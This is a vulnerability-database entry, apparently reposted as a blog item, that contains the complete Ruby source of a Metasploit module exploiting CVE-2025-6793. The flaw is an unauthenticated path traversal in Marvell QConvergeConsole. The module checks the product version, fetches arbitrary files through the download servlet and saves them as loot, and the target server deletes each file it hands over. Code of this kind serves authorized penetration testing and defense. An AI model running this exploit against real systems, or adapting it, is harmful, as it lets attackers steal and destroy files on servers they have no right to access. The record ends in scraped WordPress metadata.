{“lastseen”:”2026-05-11T19:30:11″,”description”:”This module exploits a path traversal vulnerability CVE-2025-6793 in Marvell QConvergeConsole use auxiliary\/gather\/qconvergeconsoletraversal msf auxiliaryqconvergeconsoletraversal show actions …actions… msf auxiliaryqconvergeconsoletraversal set…”,”published”:”2026-05-11T19:03:18″,”modified”:”2026-05-11T19:03:18″,”type”:”metasploit”,”title”:”Marvell QConvergeConsole Path Traversal (CVE-2025-6793)”,”source”:””,”references”:””,”id”:”MSF:AUXILIARY-GATHER-QCONVERGECONSOLE_TRAVERSAL-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-6793″],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Auxiliary\\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Auxiliary::Report\\n prepend Msf::Exploit::Remote::AutoCheck\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Marvell QConvergeConsole Path Traversal (CVE-2025-6793)’,\\n ‘Description’ =\\u003e %q{\\n This module exploits a path traversal vulnerability (CVE-2025-6793) in Marvell QConvergeConsole \\u003c= v5.5.0.85 to retrieve arbitrary files from the system. No authentication is required to exploit this issue.\\n Note that whatever file will be retrieved, will also be deleted from the remote server.\\n },\\n ‘Author’ =\\u003e [\\n ‘Michael Heinzl’, # MSF Module\\n ‘rgod’ # Discovery\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2025-6793’],\\n [‘URL’, ‘https:\/\/www.zerodayinitiative.com\/advisories\/ZDI-25-450\/’]\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2025-06-27’,\\n ‘DefaultOptions’ =\\u003e {\\n ‘RPORT’ =\\u003e 8443,\\n ‘SSL’ =\\u003e true\\n },\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS, CONFIG_CHANGES]\\n }\\n )\\n )\\n\\n register_options(\\n [\\n OptString.new(‘TARGETURI’, [true, ‘The base path for QConvergeConsole’, ‘QConvergeConsole’]),\\n OptString.new(‘TARGET_FILE’, [false, ‘The file path to read from the target system.’, ‘win.ini’]),\\n OptString.new(‘TARGET_DIR’, [true, ‘The folder where the file is located.’, ‘C:\\\\Windows’])\\n ]\\n )\\n end\\n\\n def check\\n # code is obfuscated, retrieve file reference through gwt.Main.nocache.js\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(\\n target_uri.path, ‘com.qlogic.qms.hba.gwt.Main’, ‘com.qlogic.qms.hba.gwt.Main.nocache.js’\\n )\\n })\\n\\n return Exploit::CheckCode::Unknown(‘No response from server’) unless res\\u0026.code == 200\\n\\n # e.g., BB025677C3CC9C8B12F0CB2553088424\\n strong_name = res.body.match(\/Sb='([A-Fa-f0-9]{32})’\/)\\u0026.captures\\u0026.first\\n strong_name ||= res.body.match(\/([A-Fa-f0-9]{32})\\\\.cache\\\\.html\/)\\u0026.captures\\u0026.first\\n\\n return Exploit::CheckCode::Detected(‘Could not determine GWT strong name’) unless strong_name\\n\\n vprint_status(\\”GWT strong name: #{strong_name}\\”)\\n\\n res2 = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(\\n target_uri.path, ‘com.qlogic.qms.hba.gwt.Main’, \\”#{strong_name}.cache.html\\”\\n )\\n })\\n\\n return Exploit::CheckCode::Detected(‘Could not retrieve cache file’) unless res2\\u0026.code == 200\\n\\n data = res2.body\\n\\n # Grab the first occurrence of a v5.0.x version; obfuscated response contains other version identifiers too for other components\\n match = data.match(\/’v(5\\\\.0\\\\.\\\\d+)’\/i) || data.match(\/v(5\\\\.0\\\\.\\\\d+)\/i)\\n\\n return Exploit::CheckCode::Detected(‘No version string found’) unless match\\n\\n version = Rex::Version.new(match[1])\\n\\n vprint_status(\\”Detected version: #{version}\\”)\\n\\n if version \\u003c= Rex::Version.new(‘5.0.85’)\\n return Exploit::CheckCode::Appears(\\”Vulnerable version detected: #{version}\\”)\\n end\\n\\n Exploit::CheckCode::Safe(\\”QConvergeConsole detected (version #{version})\\”)\\n end\\n\\n def run\\n folder = URI.encode_www_form_component(datastore[‘TARGET_DIR’])\\n file = URI.encode_www_form_component(datastore[‘TARGET_FILE’])\\n\\n uri = normalize_uri(\\n target_uri.path,\\n ‘com.qlogic.qms.hba.gwt.Main’,\\n ‘QLogicDownloadServlet’\\n )\\n\\n uri = \\”#{uri}?folder=#{folder}\\u0026file=#{file}\\”\\n vprint_status(\\”Request: #{uri}\\”)\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e uri\\n })\\n\\n fail_with(Failure::UnexpectedReply, ‘No response from server’) unless res\\n fail_with(Failure::UnexpectedReply, \\”HTTP #{res.code}\\”) unless res.code == 200\\n fail_with(Failure::UnexpectedReply, ‘Invalid path or file does not exist (empty body)’) if res.body.nil? || res.body.empty?\\n\\n print_good(\\”File retrieved: #{File.join(datastore[‘TARGET_DIR’], datastore[‘TARGET_FILE’])}\\”)\\n\\n path = store_loot(‘qconvergeconsole.file’, ‘application\/octet-stream’, datastore[‘RHOSTS’], res.body, datastore[‘TARGET_FILE’], ‘File retrieved through QConvergeConsole path traversal (CVE-2025-6793).’)\\n print_status(\\”File saved as loot: #{path}\\”)\\n\\n report_service(\\n host: rhost,\\n port: rport,\\n proto: ‘tcp’,\\n name: ‘https’,\\n info: ‘Marvell QConvergeConsole’\\n )\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/auxiliary\/gather\/qconvergeconsole_traversal.rb”,”cvss”:{“score”:9.4,”severity”:”CRITICAL”,”vector”:”CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:L\/A:H”,”version”:”3.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:”3.0″,”vectorString”:”CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:L\/A:H”,”baseScore”:9.4,”baseSeverity”:”CRITICAL”,”attackVector”:”NETWORK”,”attackComplexity”:”LOW”,”privilegesRequired”:”NONE”,”userInteraction”:”NONE”,”scope”:”UNCHANGED”,”confidentialityImpact”:”HIGH”,”integrityImpact”:”LOW”,”availabilityImpact”:”HIGH”}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/gather\/qconvergeconsole_traversal\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-11T19:30:11″,”description”:”This module exploits a path traversal vulnerability CVE-2025-6793 in Marvell QConvergeConsole use auxiliary\/gather\/qconvergeconsoletraversal msf auxiliaryqconvergeconsoletraversal show actions …actions… msf auxiliaryqconvergeconsoletraversal set…”,”published”:”2026-05-11T19:03:18″,”modified”:”2026-05-11T19:03:18″,”type”:”metasploit”,”title”:”Marvell QConvergeConsole Path Traversal (CVE-2025-6793)”,”source”:””,”references”:””,”id”:”MSF:AUXILIARY-GATHER-QCONVERGECONSOLE_TRAVERSAL-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-6793″],”sourceData”:”##\\n#…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,131,12,169,13,7,11,5],"class_list":["post-53096","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-94","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n